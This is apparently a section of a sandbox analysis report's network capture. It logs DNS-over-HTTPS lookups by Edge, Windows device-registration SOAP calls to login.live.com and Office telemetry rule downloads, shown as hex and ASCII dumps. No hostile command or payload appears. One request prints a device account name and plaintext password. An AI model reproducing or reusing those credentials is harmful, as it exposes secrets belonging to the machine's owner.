2024-11-23 00:14:26 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 00:14:26 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6cf586eb2c5e74-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 00:14:26 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 e2 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomPC)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49804	162.159.61.3	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:26 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 00:14:26 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 00:14:26 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 00:14:26 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6cf5875b2c42b2-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 00:14:26 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 88 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49806	40.126.53.13	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:26 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-23 00:14:26 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-23 00:14:27 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 23 Nov 2024 00:13:27 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: b03d5fca-63e9-4f91-9298-0592f70dba49 PPServer: PPV: 30 H: PH1PEPF0001B7DA V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 23 Nov 2024 00:14:27 GMT Connection: close Content-Length: 1276
2024-11-23 00:14:27 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49807	40.126.53.13	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:26 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-23 00:14:26 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 67 76 6b 7a 6a 69 72 7a 76 61 76 78 78 63 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 68 4a 61 30 52 42 36 2d 34 64 2d 2d 3b 2a 76 32 72 7a 78 28 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02gvkzjirzvavxxc</Membername><Password>hJa0RB6-4d--;*v2rzx(</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-11-23 00:14:35 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Sat, 23 Nov 2024 00:13:27 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_BL2 x-ms-request-id: 6695abb2-4391-475e-9b7f-dc320fc7c6b6 PPServer: PPV: 30 H: BL02EPF00027B6B V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 23 Nov 2024 00:14:34 GMT Connection: close Content-Length: 17166
2024-11-23 00:14:35 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 30 30 31 31 37 36 32 38 38 44 39 30 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 35 35 63 35 62 66 32 66 2d 64 33 31 64 2d 34 35 37 61 2d 61 35 35 36 2d 66 32 64 34 35 63 65 31 62 34 31 63 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>0018001176288D90</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="55c5bf2f-d31d-457a-a556-f2d45ce1b41c" LicenseID="3252b20c-d425-4711
2024-11-23 00:14:35 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49810	172.64.41.3	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:27 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 00:14:27 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 00:14:27 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 00:14:27 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6cf58e6f274216-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 00:14:27 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 e0 00 04 8e fa 51 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomQ)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49815	162.159.61.3	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:27 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 00:14:27 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 00:14:27 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 00:14:27 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6cf58f180543fb-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 00:14:27 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 18 00 04 8e fa b0 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49816	162.159.61.3	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:27 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 00:14:27 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 00:14:28 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 00:14:27 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6cf590796d41c1-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 00:14:28 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 a5 00 04 ac d9 a5 83 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:27 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:27 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 63e0f5a8-701e-0032-207a-3ba540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001427Z-174c587ffdf6b487hC1TEBydsn000000023g000000009zpc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:28 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:27 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:28 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 9bf3f441-f01e-003f-246b-3bd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001428Z-178bfbc474brk967hC1NYCfu6000000003f000000000f4a9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:28 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:27 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:28 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 44207c53-001e-0079-37ad-3b12e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001428Z-15b8b599d88f9wfchC1TEBm2kc00000002b0000000005mzc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:28 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:27 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
